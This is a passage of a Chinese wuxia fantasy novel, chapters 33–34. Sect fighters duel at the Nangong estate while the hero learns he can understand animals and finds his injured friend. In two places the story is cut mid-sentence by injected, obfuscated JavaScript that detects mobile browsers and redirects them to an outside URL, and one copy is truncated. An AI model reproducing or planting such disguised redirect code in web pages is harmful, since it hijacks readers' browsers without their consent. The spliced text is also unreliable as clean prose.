那山寨男子骂道:“我哥哥和弟弟两条人命的债,咋能让你们当成儿戏说不讨就不讨了?” “江湖纠纷自然用江湖的规矩来解决!” 温酌言道:“这位大哥,你若不同意,事后自可单独行事,不必与我们一起!” 那山寨男子眼见无人帮他说话,啐了一口便不再说话。 温酌言嘴角微勾:“南宫老爷,请派出弟子吧!” 谢灵雨奋勇当先,第一个站出来说道:“就让我来抛砖引玉,先来跟你们过过招!” 南宫盈未来得及劝他退后,却听南首一人叫道:“你又不是南宫盈的徒弟,这里还轮不到你,你老子是缩头乌龟,你小子又能强到哪里去?” 谢灵雨听到父亲被人侮辱,忍无可忍:“是谁在放屁,有胆子出来较量!” 站在南首的一群人左顾右盼地寻找刚才说话之人,那人现在却没了声音。 南宫盈皱眉道:“灵雨侄儿是我未来的女婿,我把他当自己的亲儿子一样看待,与我的徒弟一般无异!” 龙烁听他这么说,心中不禁泛起一股醋意,突然想到自己找了一圈儿南宫府也没有找到红叶,也不知道她到底被关在了哪里。 他四下张望,竟发现红叶的母亲已经站到了南宫盈的身旁,不知道她是什么时候进来的。 温酌言道:“既是如此,那么就请谢少庄主打头阵便了,听闻谢少庄主身负两大绝计,一是箭法卓绝,能够八箭齐出,箭无虚发。二是狩猎卓绝,困兽网一罩,神仙也难逃。那就让我们来见识见识谢少庄主的独门绝技罢,各位英雄,谁来应战?” 大家你看看我,我看看你,不自觉地把中间的空地又扩大了一圈。 各人一阵小声嘀咕,却没有人愿意第一个站出来。 谢灵雨一个纵跃跳到场地中央嘲笑道:“呵,没人敢来吗?” 人群之中突然蹿出来一个瘦高的中年男子。 他一身白衣,衣袂飘飘,头戴纶巾,脚踩云靴,像极了神话传说中八仙之一的吕洞宾。 只听他朗声说道:“在下云飞月,就来领教谢少庄主的高招!”,他说着将散落到胸前的一缕长发往身后一扬,旋即双手聚于胸前,口中默念了一个诀,只听他大喝一声:“出!”,便见到他背后突然蹿出了十几根黑色的藤蔓来。 这藤蔓每根都有胳膊粗细,如毒蛇般盘旋飞舞着向四面八方快速延展,让人看起来不寒而栗。 谢灵雨迅速从背后抽出八根雕翎羽箭的同时右腿向后一撤,旋即拉满弓弦。 只听“砰”的一声巨响,八支羽箭便分别射向那些正在空中不停蠕动的藤蔓。 果然,箭无虚发!其中的八根藤蔓被拦腰切断后快速掉落在地。 然而,掉到地上的藤蔓如蜈蚣般剧烈扭动了几下便又腾地一下凌空而起,直向谢灵雨扑去。 如此一来,原本十几根的藤蔓突然变作了二十几根,张牙舞爪地从四面八方向谢灵雨围攻而来。 见状,谢灵雨立即收起弓弦不再使用,他拔出两支雕翎羽箭左右手各执一支,随即往地上狠狠一插,便将两根离他最近的藤蔓牢牢地钉死到了地上。 他顺势向后纵跃,从腰间取出一双白色手套戴在手上,又从胸前取出一团晶莹剔透雪白如丝的物什来。 只见他双手猛然一拉,一团变作两团,旋即十指飞弹,那白色的物什便如飞镖一般向四面八方激射而出。 大部分藤蔓被那白色物什击中之后迅速坠落并被死死地黏在了地上,还有一小部分被牢牢地粘到了墙上、屋顶上和房梁上,任其如何挣扎扭动都再也飞不起来。 众人一阵惊叹,均没想到原来这困兽网的黏力如此巨大,纷纷拍手叫好。 龙烁早就见识过这困兽网的厉害,那日青丘派的吕师弟被这东西黏住之后便再也下不来,后来才知道这困兽网是由一种极为罕见的天山雪蜘蛛的蛛丝制成的,粘性极强。 看到谢灵雨大占上风,龙烁不禁心中暗喜,跟着大家一起拍手称快。 然而,谢灵雨被众人一阵吹捧之后便放松了警惕。 纷乱之中,有一根藤蔓成了漏网之鱼,不知不觉地绕到了他的背后趁机偷袭,龙烁赶忙大喝一声:“小心后面——” 然而却已经来不及,谢灵雨整个身子突然被那藤蔓牢牢捆住并被凌空提起荡在了空中。 谢灵雨大叫道:“放我下来,快放我下来!背后偷袭,算什么英雄好汉!” 云飞月哈哈一笑拱手说道:“兵不厌诈,承让!”,他说着默念咒语收回藤蔓将谢灵雨放了下来,而后纵身一跃,退回到了人群之中。 丁松看向师父南宫盈,见他表情并无任何波澜,正欲上前一战,却被戴荣突然拦住道:“师兄,你身上还有伤,让我来——” 戴荣随手将佩剑扔给丁松,纵身一跃,跳到了空地中央。 “在下戴荣,请问哪位英雄前来应战?” 他手臂上的那只硕大鹦鹉也跟着十分有礼貌地向众人鞠了一躬,喳喳喳地尖声叫道:“谁来,谁来,谁来——” 温酌言朗声说道:“久闻南宫老爷的二弟子精通御鸟之术,所训练的鹦鹉阵更是如十面埋伏一般铺天盖地无懈可击,敢问各位英雄谁能应战?” 一个身穿豹皮,虎背熊腰的中年汉子从人群中走出。 “在下廖通,斗胆要来耍两下子!” 众人见他从背后抽出了一把象鼻子大刀,以为他要大干一场,却又见他将那大刀忽地扔在地上发出了一阵哐啷啷的巨响。 各人均感莫名其妙,不知他要搞什么名堂。 只听他粗声粗气地喊道:“既然戴兄弟没带佩剑,那么我也不来耍刀,就来跟你空手一搏!” 人群之中一片哗然。 有人提醒道:“小心人家的鹦鹉阵啊——” 此时龙烁心不在焉,他根本无心观看比武,心中不断思索着那南宫府的地牢究竟在什么地方,更胡思乱想地推测最危险的地方往往是最安全的地方,莫非南宫盈将那地牢设在了这守中堂? 他小步小步地往前挪动,时不时地跺跺脚去听那地底下是不是空心的。 忽听身旁一人小声嘀咕道:“这人怕是脑子有病吧,人家温学士都提醒了,这戴荣的鹦鹉阵堪比上阵打仗的军队呐!将士们也只不过是在地面上打仗,而人家的鹦鹉阵可是天上地下不留死角的全方位袭击呢,我看呐,这一局咱们恐怕是要输喽——” 龙烁抬眼望去,见戴荣和那个叫廖通的汉子已经相互施礼跃跃欲试,忽然那只硕大的鹦鹉拍着翅膀在戴荣的耳边高声叫道:“主人,我待会儿让大伙儿摆出方圆阵、钩行阵和八卦阵,行吗?” 戴荣道:“阵法可行!但要听我指挥!” 那鹦鹉道:“遵命!” 龙烁心中连连赞叹:“这只鹦鹉学人说话竟然学得这么标准!” 只见戴荣举起左手吹了一声口哨,片刻之后,守中堂外竟飞来了无数五颜六色的硕大鹦鹉。 原先站在戴荣手臂上的那只鹦鹉也顺势加入其中,跟着大伙儿一齐聚集在悬梁之上盘旋飞舞。 忽听这群鹦鹉叽叽喳喳地叫道: “哈哈主人终于召唤我们来啦!” “哥们儿们,咱们一定要打起精神来别让主人失望啊!” “放心吧三哥,我刚吃了两大碗糠米,还解了一个小手儿,已经准备充分啦!” “大家都注意安全别被伤到啊,年轻力壮的往前冲,拖家带口的靠后排!” “哈,大哥,我没办法啊,必须得往前冲,我媳妇说我要是没给主人打胜仗,回去了她就把我的毛儿拔光!” 龙烁扑哧一笑,觉得这些鹦鹉甚是调皮可爱,一时之间竟忘记了一些不快之事。 戴荣左手高右手低地分别做了两个手势,那群鹦鹉见状立即会意,纷纷大喊道: “是钩行阵!” “六个一组,分队袭击!” “主人英明,咱们给他来个车轮战!” 随即这群鹦鹉迅速分成若干个小分队,每个小分队里都有六只鹦鹉。 只见其中的六队鹦鹉呼扇着翅膀形成第一梯队,分别从三个方向朝廖通直扑而去。 其他鹦鹉留在原地盘旋打转,等待第二轮的进攻。 龙烁连连摇头,心中暗道:“你们怎么把阵法和攻势全说了出来,大家都知道了你们还能赢?” 廖通轻笑一声:“怎么来了这上百只的鹦鹉,只有区区三十几只扑将过来?” 他双手合十,食指朝天,口中兀自念了一个诀,随即大吼一声:“定——” 一瞬间,这三十六只鹦鹉突然集体发出几声怪叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291275|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,旋即直勾勾地停在半空中悬停片刻便应声而落,啪啪啪地掉在了地上。 仍在天上盘旋的那群鹦鹉突然一下子炸开了锅,叽叽喳喳地尖声叫道: “怎么了?怎么了?” “这是什么情况?” “发生什么事啦?” 龙烁大惊,以为那三十多只鹦鹉已然死去,他低头一看,却见它们仍在呼哧呼哧地喘着粗气,口中兀自乱声叫道: “哥哥们小心,他会法术!” “我动不了了,这是什么法术啊,有谁知道?” “不知道啊,天上的兄弟帮忙去问问主人!” 人群之中有人拍手叫道:“妙啊!廖英雄的点穴功夫真是厉害啊!” “这哪是点穴功夫!”另一人嘲笑道:“你见他出手点穴了吗?那是定身术!” “哦哦,原来是定身术,怪不得,我说他怎么连鹦鹉的穴道在哪里都知道呢!” 廖通哈哈一笑:“戴兄弟,咱们是比武又不是打仗,既是比武,应当以咱二人身上的功夫来比较高下,你赶紧把这群烦人的劳什子鹦鹉赶走,咱二人全力以赴地拆上个几百招岂不痛快?”,他说着解开了那些鹦鹉身上的定身术。 “好!” 戴荣本想着这人若是将定身术使在自己身上必输无疑,忽听他说要比试武功,自然是求之不得:“我就以家传的云盘八卦掌来领教阁下的武功!” 戴荣一拂衣袖,那群七嘴八舌的鹦鹉便即蜂拥而出,瞬间消失在黑夜之中。 “好极了,看是你的掌法厉害,还是我的拳头厉害!” 只见廖通双手握拳,恶狠狠地直冲戴荣的面门击去,口中兀自龇牙咧嘴地高声叫嚷以振声势。 这边戴荣却是泰然自若,他微微叉开双腿,扎了一个结实的马步,随即身子轻轻一闪,躲开了廖通的那一记重拳,旋即反手一掌,欲将廖通推开,然而那廖通身子极为厚重,这一掌之下,竟只将他推了一个踉跄。 见状,戴荣身子猛力向后一跃,退到几丈地外,又稳稳地扎了一个马步,随即双掌开始不断上下翻飞。 速度逐渐加快,到得后来,竟如千手观音般出现了无数只胳膊和手掌,分不清楚哪一只胳膊是真,也辨别不出哪一只手掌是假。 廖通看得眼花缭乱,他使劲揉揉眼睛,嘲笑道:“杂乱无章!你这不过是花架子看着好看罢了,就算真的舞出一个千手观音来又有什么用!”,他说着纵身向戴荣扑将过去。 两人缠斗到一起后飞速旋转,速度快到众人根本无法看清楚究竟是谁占了上风,只听见噼噼啪啪嗵嗵之声不绝,似是有人不断中招。 片刻之后,一人哎吆哎呦地大声惨叫,随即闪出一个人影,却是戴荣。 戴荣在一旁收功闭气悄然而立,而那廖通却仍在那里不住地东挡西隔快速旋转,待到他发觉对方已经不再攻击之时这才慢慢停了下来。 众人见廖通浑身上下的衣衫已经漏洞百出,到处都是巴掌大小的孔洞,甚至脸上耳朵上还有几个鲜红如血的掌印,不禁都暗暗倒吸了一口凉气。 原来这云盘八卦掌的真谛便在于“天下武功,唯快不破”,众人所看到的无数胳膊和手掌并不是由于速度太快而形成的虚影,而是实实在在的、含有深厚内力的劲掌,以至于后来廖通来不及一一挡隔,浑身上下接连中掌,这才发出了哎呦哎呦地惨叫。 廖通知道自己大出洋相,顿时羞得耳根通红,只是恰巧被那血掌印掩盖住了。他悠悠说道:“戴兄弟好掌法,打得我这黑虎拳几乎无用武之地,你赢了!” 戴荣深施一礼:“廖大哥的定身术使得出神入化,压制得我鹦鹉阵亦是无法施展,倘若你将这定身术用在我的身上,恐怕我的云盘八卦掌也根本使不出来,咱俩算是打平了!” 廖通轻哼一声退入人群之中,恰好来到了龙烁的身旁。 一个头发散乱、身着黑色衣衫的中年男子凑到廖通耳边低声问道:“你为何不用定身术将那群鹦鹉全部定住,那样不就赢了?” “哎,我咋会想到他的鹦鹉竟有那么多,我的内力不足,无法将所有鹦鹉全部定住!” “那你为何不用定身术对付那小子?你先将他身子定住了再给他一拳,赢得这一场比赛那还不是轻而易举嘛?” “哎!我刚试过了,不行!” “为什么?” “相兄你有所不知,我黑虎山常有猛虎出没,我学这定身术法只为打虎,用来对付一般的寻常百姓倒是可以,遇到稍有内力的会武之人便根本毫无定力!” “啊!是这样啊!” 龙烁暗想,如此说来,这廖通并不是有意相让,这一局,其实是戴荣胜了。 正当他考虑要不要去告诉南宫盈时,却听一个女子的声音高声嚷道:“到我了——” 红叶的三师姐成馥突然从怀中取出两条二尺来长的花斑毒蛇握在手中,随即纵身一跃,跳到场地中央,柔声道:“我的蛇儿毒性极为猛烈,被咬上一口立时便会毒发身亡,有谁敢过来一试吗?” 龙烁恍然大悟,原来她耳朵上的那条小虫并非蚯蚓,而是毒蛇! 33.奇门妙术 (下) 忽听北首一女子咯咯娇笑,媚声说道:“老娘等候多时了,呵呵!” 众人兀自寻找说话之人,却见一女子已然出现在了场地中央。 她身后跟着两名十七八岁的婢女。 这女子虽然人到中年,却打扮得花枝招展艳丽至极,头扎一把束发金簪,手戴两枚骷髅银环,身上的衣服五颜六色,脸上涂着厚厚的脂粉,一支烈焰红唇粲然夺目,瞬间就把在场的所有男子的目光全部吸引到了她的身上。 “是逍遥岛岛主——胡媚儿!” 人群中一人高声叫道:“大家小心,这娘儿们会使勾魂术,她就跟个母螳螂一样,谁跟她有过肌肤之亲她就要谁的命——” 胡媚儿咯咯一笑:“是那些死鬼说只要我从了他们,命都可以给我,呵呵——男子汉大丈夫,当然要说话算话,是不是?” “娘子说的是!”“没错!”“说的是~” 一群壮汉色眯眯地看着那女子,他们争相冲她挤眉弄眼打情骂俏,丝毫不加避讳。 胡媚儿捋捋头发:“死鬼,瞧你们那样儿,等我收拾完了这小丫头,再来收拾你们!” 温酌言朗声道:“好极了,你二人来切磋武艺那是再合适不过!素闻成馥姑娘善以美色诱敌,以毒蛇偷袭,再以一把大刀助其归西,人送外号‘温柔刀’!而胡媚娘的勾魂术法又最能夺人心魄使人神魂颠倒。让咱们来看看究竟是谁的美人之术更胜一筹——” 闻声,龙烁不自觉地向她二人瞧去,暗自思忖:“若论妩媚妖娆,确实是胡媚儿更胜一筹,但若说身材样貌,还是红叶的三师姐成馥更加温柔俏丽!这胡媚儿举止轻浮、佻薄放荡,倒不是我心目中美好女子的模样!” 只听成馥低声嘱咐小蛇:“你们别去看那女人的眼睛!” 随即,她将两条小蛇抛至半空中发起攻击。 那两条花斑毒蛇在空中张大嘴巴朝胡媚儿狠狠咬去。 胡媚儿咯咯娇笑,忽地闪身,躲开了它们的袭击。 两条小蛇扑了空,在即将落地之时忽然尾巴一甩,反身又向胡媚儿扑去。 胡媚儿不再闪躲,她嘴角微勾,直直地站在原地等待两条小蛇期近身来。 就在它们即将要咬到胡媚儿的脸颊之时,却见她双手相交猛然一拉,拽出一条极细极细的银色丝线。 她顺势往两条小蛇身上轻轻一缠,蛇身便被削成两半掉落在地。 原来她手上的两枚骷髅戒指并非装饰,里面暗藏利刃,危险来临之时用以防身对敌。 众人一阵惊愕。 一些壮汉见那两条小蛇兀自在血水中痛苦挣扎,喉咙突然一阵干涩,不自觉地摸了摸自己的脖子。 成馥大怒,正欲上前呵斥,忽然想起什么,旋即轻轻一笑,吹了一声口哨。 片刻之后,门外突然出现一条胳膊粗细、两三丈长的黑白纹的大蟒蛇。 那大蛇在门口竖起身子,吐着信子环视守中堂里所有的人。 人群之中有人尖声叫道:“天啊,是黑白王蛇,我从没见过这么大的黑白王蛇!” 那大蛇俯下身子蜿蜒而入,缓缓爬至两条惨死的小蛇身旁张开血盆大口将它们的尸身吞入了腹中。 众人一阵惊慌失措,纷纷逃避躲闪。许多人直接跑到厅堂之外不敢再进来。 “大家不用害怕,没有我的命令它不会随意伤人!”成馥大叫:“小棋子,你快去把这女人的身子给我缠住!” 闻声,那大蛇微微躬下身子,嘶嘶地发出一声:“是——” 龙烁不禁哑然失笑,心想这大蛇全身的条纹如斑马一般黑白分明,唤它作“棋子”确是恰如其分,不过它身子比寻常人还长了三四倍,前面这个“小”字却着实违和得紧! 胡媚儿远远地望见那条大蛇的脑袋上除了鼻子附近是白色的,其他部位竟然都黢黑如碳,根本看不到它的眼睛在哪里,一时之间心生畏惧不敢上前,在人群之中四处逃窜。 众人又是一阵慌乱。 那大蛇吐着信子在人群之中游走,不慌不忙地寻找胡媚儿的身影。 龙烁心知这黑白王蛇虽然爱吃毒物,但其本身却并无毒性,又听成馥说它不会随意伤人,于是提醒众人:“此蛇无毒,大家不要惊慌!” “胡说!” 一名年轻男子在他身后大喊:“你这淫贼不安好心!” 龙烁猛一回头,原来是青丘派的吕师弟! “它刚才把那两条毒蛇都吞进了腹中你难道没看见吗?”吕师弟惊恐大喊:“妈呀,它过来了,快跑——” “不是——” 龙烁还没来得及给他解释,那吕师弟便已经跑得没了踪影。 他见那大蛇慢悠悠地向自己这边爬来,一时之间也不禁心下骇然,跟着众人一起奔跑起来。 混乱之中,竟不小心跟关武撞了个满怀。 “龙兄弟,原来你也在这儿啊!” 关武兴奋地跟龙烁打招呼,未等他回答,便又拉着张全亮快速闪开了。 眼见南宫盈和他的一众徒弟纷纷站在上堂作壁上观,龙烁愤愤不平,轻哼一声,却突然被一个陌生人狠狠地踩了一下脚背,痛得他“哎吆”一声惨叫。 这叫声恰好吸引了大蛇的注意。 那大蛇忽然转过身子,爬到龙烁面前,朝他吐了两下信子。 龙烁吓得赶忙捂住嘴巴不敢再出声。 大蛇在龙烁身上扫视几秒,旋即又朝胡媚儿爬去。 人群之中有人高声喊道:“大家莫慌,这蛇要抓的是胡媚儿!” 又有人喊道:“对呀,胡娘子,你别到处乱跑啦,再跑我们也要抓你啦!” 胡媚儿纵身一跃,跳上房梁恨恨地道:“呸,在床上的时候你们不也这么说?呵,又有谁能抓得住我?刚才是谁喊着要抓老娘的,来呀,上来抓我呀!呵呵!” 龙烁见她虽然恼怒,语气却仍带着一股媚意,不禁浑身打了一个寒颤! 那大蛇顺着顶梁柱子缓缓爬上,正当它张开巨口打算展开致命一击时,却见胡媚儿咯咯一声娇笑,又从高高的房梁上纵身跳了下去。 那大蛇反应神速,忽地来一个“神龙摆尾”,一尾巴甩到了胡媚儿的身上。 胡媚儿重重摔落在地,她挣扎着起身,突然感到喉咙一阵腥甜,忽地喷出一大口鲜血。 那大蛇乘胜追击,迅速从房梁上爬下将胡媚儿的身子紧紧缠住,在她耳边嘶嘶嘶地吐起信子来,似在欣赏战利品一般。 “放开——放开我!” 胡媚儿被大蛇牢牢束缚,无论如何挣扎都动弹不得,正要破口大骂,却终于在此时此刻看清了那巨蛇的眼睛所在,顿时转忧为喜,一连眨了几下眼睛,媚声道:“看你还跑得了吗?啊哈哈哈哈——” 这魔怔的笑声响彻整个守中堂,众人不禁捂起耳朵。 “别去看她的眼睛——” 成馥大吼一声向那大蛇奔去。 然而,已经来不及了。 那巨蛇突然松开胡媚儿的身子,似是喝醉了一般摇摇晃晃地向后退开,旋即微微低下头,嘶哑着声音道:“你是我在这个世界上——见过的——最美丽的女人!您让我做什么——都——” 那大蛇话音未落,突然间银丝闪动,胡媚儿手起指落,大蛇的脑袋和身子便分了家。 血水伴着巨蛇的残躯倾泻而下,哗啦啦地掉在血泊之中! 龙烁一时间惊讶得说不出话! 众人见那大蛇被杀,顿时都松了一口气,纷纷围着它的尸身站成一圈小声嘟囔着什么! “小棋子——” 成馥大喝一声扑到大蛇的身上,见那大蛇已经没了气息,转头骂道:“狐狸精,你害死了我的小棋子,拿命来吧——” 她说着抽出背上的大刀便要扑过去,却被丁松拦了下来。 丁松眼神瞟向南宫盈,暗示她不要冲动,看师父怎么说! 成馥强压怒火,一下子扑到丁松的怀中大哭起来,她眼神哀怨地看向南宫赢,希望师父能够为她做主! 南宫盈微微摇头。 丁松会意,安抚着成馥回到上堂。 龙烁发现原来丁松大腿上的伤势十分严重,走起路来一瘸一拐。 人群中忽然爆发出一阵热烈的掌声,众人一片欢呼雀跃。 龙烁身旁一个头戴草帽的年轻男子拍手叫道:“赢啦哈哈,我们赢啦!” 龙烁这才回过神来,他拉拉那人的胳膊问道:“怎么回事?” 那人看向龙烁,抑制不住喜悦之情,说道:“什么怎么回事?咱们赢了啊!你没看到吗?连大蛇都被杀啦!这胡媚儿的勾魂术真是厉害啊!呃——你这么惊讶地看着我做什么,你莫不是看上成馥那个女人了吧?兄弟,我可提醒你,色子头上一把刀啊,我劝你还是别动心思为妙!” “不是!我是说你有没有听到那大蛇说了什么?” “听到了啊,它嘶嘶嘶地求饶,可是那又有什么用,逍遥岛岛主可是出了名的蛇蝎心肠!遇到她还有命活了?不过要我说啊,这次她杀得好,这毒物如此可怖,留在世上也只会害人!” 闻声,龙烁更是惊讶得合不拢嘴巴,他暗想:“刚才我明明听到了大蛇讲话,可是别人却又听不出来,这到底是怎么回事?莫非——白泽所说的通灵之术,便是说能听懂一些动物的语言?那么刚才那些鹦鹉?” “这位大哥,刚才那群鹦鹉叽叽喳喳地说话你有没有听到?” 龙烁向身旁的男子问道。 “听到了啊!你当我是聋子吗?” 那男子很不耐烦。 “哦哦!”龙烁急道:“那你听到它们说的方圆阵、钩行阵和八卦阵了吗?” “什么阵?什么乱七八糟的!” 那人将草帽往上一翻,仔细瞧瞧龙烁:“我说你这人是不是有病啊,看你长得还挺精神,怎么问的问题却没头没脑的!我给你说啊,这次多亏了温学士足智多谋,想出来这个克敌制胜的好办法,咱们才打了这么一个漂亮的胜仗!” “啊?此话怎讲?”龙烁疑惑道。 “老兄你不知道,酒席宴间我就注意到这温学士只跟人喝酒也不吃饭,还以为他是个酒鬼,谁料人家那是有意结识天下英杰!他把云飞月、廖通、胡媚儿,还有其他几位大爷聚到一桌共同商议,我特地坐到他们的邻桌偷听,结果你猜怎么着,人家早就分析出了谁对付谁,谁克制谁,要不咱们怎么会这么顺利取胜呢!噢对了,那位大爷——” 他指着站在廖通身边的那个头发散乱、身着黑色衣衫的中年男子道:“他是相天歌相大爷,外号叫作‘御火神将’,他的御火之术就是专门用来对付陆青的毒蝎的!还有那边那位黄毛老兄,他叫盖天虎,江湖人称‘遁地太保’,他的遁地功夫就是用来对付 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“来呀,到我这来,我不会伤害你的!” 闻声,小猴子纵身一跃,蹿到龙烁面前:“咦?你怎么也会讲我们的话?” “哎你先别管我!你去告诉你家主人,那温酌言早就跟他们商量好了来对付你们,你们中计了!” 小猴子撇了撇嘴:“妈妈不让我跟陌生人说话,让我只听主人的话!” “啊,呵呵!”龙烁尴尬一笑,不知该如何对答,只得点头说道:“你妈妈说得对!” 忽听人群之中有人喊道:“南宫盈,别婆婆妈妈的了,快叫谢亭韵出来!” 南宫盈道:“各位英雄想见我大哥原非难事,只是他经过昨夜的一路奔波染上了风寒引发了旧疾,现在确实不方便见客!” 众人一阵唏嘘,其中有不少人呵斥怒骂:“什么?你想抵赖么?”“南宫老爷说话不算数,不怕江湖人耻笑吗?”“你若执意违背诺言,也别怪咱们不讲道理啦!” 龙烁急道:“小猴子,你听到了吗,那些人是来找你家麻烦的,他们才是坏人,现在情况危急,你去告诉你主人,让他赶紧告诉南宫老爷,这些人早就设计好了圈套等着他跳进去呢,让他务必小心!” “哦哦!”小猴子赶紧窜回丁松的肩膀上,手舞足蹈地跟他描述了一番。 丁松看向龙烁,发现这人并不认识,但还是凑到南宫盈耳边,跟他说了这人的好意提醒! 南宫盈看向龙烁,冲他微微点了点头,随后放声说道:“请大家安静——” 龙烁本以为南宫盈知道他们的计谋之后,会跟温酌言据理力争,却听他道:“我南宫盈混迹江湖时日已久,又岂是言而无信不讲道理之人?” 闻声,众人终于安静下来。 “只是事发突然,我大哥暂时无法出来跟大家见面。今日之事,皆是因那《天书》而起,所以,还有一人,大家一定也很想见他——” “噢?”温酌言不解:“那是何人?” 南宫盈一挥手,那个讲话结巴的家丁便快速奔出了守中堂。 不一会儿功夫,便见四人搀扶着一个头发散乱、满身是血的年轻男子走了进来。 到得堂中,四人放开手,那人身子一软,竟直接倒在了地上。 龙烁见这人伏在地上一动不动,他的衣衫已被血液浸透,浑身上下满是泥土,已经看不出他本来的面貌,暗觉这人可能是一个犯下重罪的江湖人士。 众人齐向那“罪人”看去,小声议论半晌,却是没人认识。 南宫盈道:“各位有所不知,白泽手中的那本《天书》原是被我侄儿谢灵雨拿到了,可是在他回家的途中又不慎丢失,《天书》是被此人盗走的,这人却倔强得很,无论如何也不肯开口说一个字,众位英雄,谁若是有本事能叫此人开口说话,让他交出《天书》,那么我便答允,《天书》之中所记载的神功法术,当可共视之!” 众人一阵激动,纷纷挤上前来大叫“我来试试!”“让我来,我的拳头最硬啦!”“都起开,我来抽他一鞭子,还怕这小子不招?” 众人哄闹之际,那“罪人”稍稍侧过身子,露出半边脸庞。 龙烁大惊,他赶忙拨开众人俯身喊道:“沐阳兄,是你吗?是不是你?” 34.众矢之的 (上) 那人慢慢睁开眼睛。似是视线模糊不清,他低声问道: “何人——” 是燕沐阳的声音无疑。 龙烁见他蓬头垢面满身伤痕,顿时心中一酸。 回想当初在万兽山经历那么多磨难,他都不曾弄脏半点衣衫,现下竟然被折磨地衣衫褴褛浑身是血,龙烁实在不忍直视。 “是我呀,龙烁!” 他单膝跪地,将燕沐阳的身子倚靠在腿上。 燕沐阳听到是龙烁的声音,顿时放松警惕,他身子一软,脑袋立时耷拉下来。 “《天书》根本不是被你拿走的,你为什么不告诉他们?” “夏虫不可与冰语!”燕沐阳语音孱弱:“我说了——他们会信?” “是谁把你伤成这样?快告诉我,我帮你报仇——” 燕沐阳微微摇头。 龙烁正欲追问,却听周围有人高声骂道:“何方小贼,竟敢如此大言不惭,快说,你俩是不是一伙儿的?” 龙烁愤怒已极,他将燕沐阳的身子轻轻移开,忽地站起身来,将草帽扔至一旁,高声叫道:“我是龙烁,他是我兄弟,到底是谁将他打成这样,赶快给我滚出来受死!” 众人不知道龙烁的底细,一时之间无人回应。 “啊,是你——”南宫夫人尖叫道:“竟然跑到我家里来了,你好大的胆子!” “他是?”南宫盈低声询问。 “他就是拐跑咱家闺女的那个小贼!” 南宫盈一脸惊愕,朝龙烁上下打量一番。 张全亮低声问关武:“你看龙少侠如此激动,莫非那人真的是沐阳公子?他怎么会去偷那《天书》?” 关武亦是不解。 上堂之中有几个人跃跃欲试。 龙烁瞥见丁松和陆青似乎都想出来应战。 古辰却抢先道:“让我来——”,他迅速闪身到龙烁面前:“臭小子,竟敢在此撒野,还不快快束手就擒!” “呵,你来得正好,看招!” 龙烁一腔怒火正愁无处发泄,见是古辰来了,顿时朝着他的面部猛击过去,将这一腔怒火全都撒在他的身上! 然而,巫山一遇,龙烁便知道自己不是他的对手,古辰也十分清楚龙烁的那几下子浅薄的功夫! 果然,古辰轻轻一闪,躲过了龙烁的袭击。他双手反压龙烁的胳膊,将其双臂牢牢束缚在胸前,而后迅速凑到他耳畔低声说道:“我不是把你安置在了悦仙居的客房了,你怎么跑到这来了!” 龙烁抬头一看,见他嘴唇不动却还能说话,只是声音细如蚊蝇,于是放声喊道:“我来杀了你这个人面兽心的家伙!是不是你把沐阳兄打成这样的?” 他使出全身的力气挣脱束缚,挥掌将古辰推到一丈之外。 古辰稳住身形之后又迅速期到龙烁跟前,双掌变爪,将龙烁的手腕牢牢锁住,小声说道:“那些不过是皮外伤,沐阳公子是喝了我的药水暂时失去了内力,并无大碍,休息几天便好,你不要在这里胡闹!” 他随即又故作挑衅地高声喊道:“是我伤的又怎么样,有本事你来打败我!” 闻声,龙烁心下稍安,不再用力挣扎,他虽然不明白古辰到底葫芦里卖的是什么药,但是想来他在众人面前对我明攻暗助,或许是有什么难言之隐,于是也学起他的样子,嘴唇尽量不动,低声问道:“你到底想干什么!” 两人为掩人耳目,继续心照不宣地拳打脚踢,只是都不再似之前那般用尽全力。 古辰道:“你放心,沐阳公子在我这里不会有事,你赶快找机会离开这里!” “不行,沐阳兄和红叶都在这里,我怎么能一走了之!” “你没看到现在什么情况吗?你留在这里根本无济于事,你先走,红叶你不必担心,师娘又怎能关得住她?至于燕沐阳,我后面再想办法救他——” “人是你抓的,你又来救他,你葫芦里到底卖的什么药?” “抓他回来是师命难违,救他离开是兄弟情谊,这难道你还不懂吗?” 古辰挥手挡住龙烁踢来的一脚,小声说道:“我故意装作被你打败,你胁迫着我先出去再说——” 霎那间,古辰右脚忽然一崴,身子跟着一歪,防守不及,特意给龙烁露出一个破绽。 龙烁连忙伸手抓住古辰的肩膀,右手锁住他的咽喉,顺势躲到他的身后,放声叫道:“你已经被我控制了,你们都不要过来,不然我杀了他!” 上堂之中一片惊慌。 丁松忽地闪出身来,跃至龙烁面前:“这位兄台手下留情,你的朋友是被我打伤的,跟我古师弟无关,你放了他,我任你处置便是——” “好啊,原来是你!你究竟为什么要打伤他?” “你朋友的寒冰术法太也厉害,我的右腿差点被他打残了,他被古师弟的药水迷晕之后,我就抽了他几鞭子泄愤!” 龙烁顿时火冒三丈,恨不得立马就将那几鞭子抽回去给他,又考虑到当下形势危急,还是先救燕沐阳出去更为要紧,于是强压怒火,打算回头再找这小子算账,厉声说道:“好,既然如此,那就叫你的小猴子让开,把肩膀留出来给我兄弟依靠,你扶着他往外走先!我警告你啊,你别想着耍花招,不然我立刻杀了他!” “好!” 丁松侧头吩咐那小猴儿:“去找你妈妈!” “不要——”小猴子龇牙咧嘴道:“我去咬死他——” “不行,你到底听不听我的话,快去找你妈妈!” 小猴子尖声嚎叫,冲着龙烁咧开嘴巴露出满嘴的獠牙,随即它一个纵跃,窜进了人群之中。 丁松慢慢扶起燕沐阳,踉踉跄跄地往门口走去。 